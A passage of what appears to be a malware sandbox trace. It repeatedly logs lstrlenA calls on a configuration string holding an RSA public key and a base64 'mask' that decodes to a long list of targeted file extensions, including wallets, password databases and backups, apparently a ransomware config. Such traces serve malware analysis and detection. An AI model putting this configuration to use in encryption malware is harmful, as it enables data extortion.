YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA